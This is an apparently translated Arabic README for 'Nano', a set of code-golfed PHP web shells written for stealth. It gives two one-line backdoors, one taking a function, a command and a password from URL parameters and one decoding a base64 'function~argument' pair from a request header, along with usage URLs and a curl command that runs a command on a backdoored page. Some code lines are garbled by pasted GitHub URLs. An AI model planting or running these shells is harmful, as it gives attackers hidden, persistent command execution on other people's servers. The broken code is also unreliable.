
Nano هي عائلة من قشور الويب (Web Shells) المكتوبة بلغة PHP، تم تقليص كودها (Code Golf) بهدف التخفي.
Nano هي عائلة من قشور ويب PHP تمت كتابتها بأسلوب Code Golf لتكون شديدة التخفي والكفاءة.
ضعها تحت المراقبة ربما، سأستمر في رفع المزيد من القشور هنا.
<?=$_GET[p]==_&&$_GET[f](https://github.com/s0md3v/nano/blob/master/%24GET_%5Bc%5D);
http://example.com/nano.php?f=function&c=command&p=password
f مخصص للدالة
c مخصص للأمر
p مخصص لكلمة المرور
على سبيل المثال، الكود أدناه سينفّذ الأمر ls:
http://example.com/nano.php?f=system&c=ls&p=password
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0](https://github.com/s0md3v/nano/blob/master/%24x%5B1%5D);
هذه واحدة معقدة بعض الشيء.
لنفترض أنك تريد تشغيل system(ls)، فاكتبها على الشكل system~ls ثم قم بترميزها base64 أي c3lzdGVtKGxzKQ==
الآن أضف أي 1 حرف في بدايتها. لنقل 'x' فستصبح xc3lzdGVtKGxzKQ==
الآن افتح الطرفية واكتب الأمر التالي
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
الكثير من العمل؟ يمكنك استخدام المعالج (handler) بدلاً من ذلك.

هذه أول تجربة لي مع PHP، لذا إذا كانت هناك طريقة أفضل لفعل ما فعلته، فيرجى إخباري أو فتح طلب سحب (pull request).
مشروع nano مرخص بموجب رخصة MIT، وهو ما يعني أساساً أنه يجب عليك منحي الفضل إذا أردت إعادة التوزيع أو التعديل.